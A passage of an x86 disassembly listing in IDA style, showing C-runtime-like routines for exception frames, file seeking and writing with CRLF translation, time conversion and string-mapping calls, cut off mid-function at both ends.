		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2670000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2790000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2690DCCh
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2690DCCh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2690DCCh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
